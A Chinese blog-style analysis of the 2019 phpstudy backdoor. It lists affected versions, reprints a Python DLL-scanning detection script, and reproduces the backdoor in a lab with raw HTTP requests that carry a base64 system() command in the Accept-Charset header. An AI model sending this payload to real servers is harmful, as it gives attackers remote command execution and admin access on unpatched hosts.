学个php还要被留后门...orz太难了
2019关于phpstudy软件后门简单分析
9.20听说非官网下的phpstudy都有后门，心想自己官网下的应该没事把
果然最后真香，供应链打击也太强了
1:影响版本
phpstudy 2016 php5.4
phpstudy2018 php-5.2.17和php-5.4.45
2:后门检测脚本（chaMD5团队提供）站在巨人肩上看世界
2.1：windows检测脚本 py2 直接在所在目录运行就行
# -*- coding:utf8 -*-
__author__='[email protected]'
__blog__='http://pcat.cc'
import os
import string
import re
def strings(file) :
chars = string.printable[:94]
shortestReturnChar = 4
regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
pattern = re.compile(regExp)
with open(file, 'rb') as f:
return pattern.findall(f.read())
def grep(lines,pattern):
for line in lines:
if pattern in line:
yield line
def pcheck(filename):
# trojan feature
trojan='@eval'
# just check dll file
if filename.endswith('.dll'):
lines=strings(filename)
try:
grep(lines,trojan).next()
except:
return
print '=== {0} ==='.format(filename)
for line in grep(lines,trojan):
print line
pass
def foo():
# . stand for current directory
for path, dirs, files in os.walk(".", topdown=False):
for name in files:
pcheck(os.path.join(path, name))
for name in dirs:
pcheck(os.path.join(path, name))
pass
if __name__ == '__main__':
foo()
3：复现
exp:
GET / HTTP/1.1
Host: 192.168.x.x
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept-Charset: payload base64就行了
Accept-Encoding: gzip,deflate
将需要执行的命令base64编码后，存于Accept-Charset参数中，请求即可命令执行
正常请求包：
GET /web1/web_yunnan_simple/about.php?file=header.php HTTP/1.1
Host: 192.168.32.157
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.32.157/web1/web_yunnan_simple/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
代码执行的请求包: 这边有个小坑 encoding后面，不能有空格
GET /web1/web_yunnan_simple/about.php?file=header.php HTTP/1.1
Host: 192.168.32.157
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.32.157/web1/web_yunnan_simple/about.php?file=header.php
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Accept-Charset:c3lzdGVtKCd3aG9hbWknKTs=
Connection: close
成功执行直接admin权限。。。下面写shell都是基操了就跳过了
国际惯例弹个计算器把
批量rce有时间在写把溜了